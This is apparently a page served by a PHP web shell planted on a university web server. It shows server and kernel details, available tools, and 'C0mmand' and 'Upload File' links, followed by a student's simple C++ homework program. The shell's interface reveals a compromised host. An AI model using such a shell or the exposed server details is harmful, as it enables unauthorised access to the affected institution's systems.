Server IP : 172.16.15.8 / Your IP : 18.191.192.109 Web Server : Apache System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64 User : apache ( 48) PHP Version : 7.2.24 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0705) : /home/kawalden/../kebuck/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
// CS112 CS I Assignment 1 (i) // Due: Wed. Sept. 22, 2010 // // File: hw1.cpp // Author: Katie Buck // Instructor: Dr. Wang // // Compile: g++ hw1.cpp // Run: ./a.out // // Goal: This program will prompt and let the user input some // information. // #include <iostream> using namespace std; int main() { string answer; // hold the answer cout << "What is you'r major? "; cin >> answer; cout << "My major is "<< answer << "\n"; cout << "Where are you from? "; cin >> answer; cout << "I am from "<< answer << "\n"; cout << "How old are you? "; cin >> answer; cout << "I am "<< answer << "\n"; cout << "What is you'r favorite color? "; cin >> answer; cout << "My favorite color is "<< answer << "\n"; cout << "Are you a freshman, sophmore, junior, or a senior? "; cin >> answer; cout << "I am a "<< answer << "\n"; return 0; }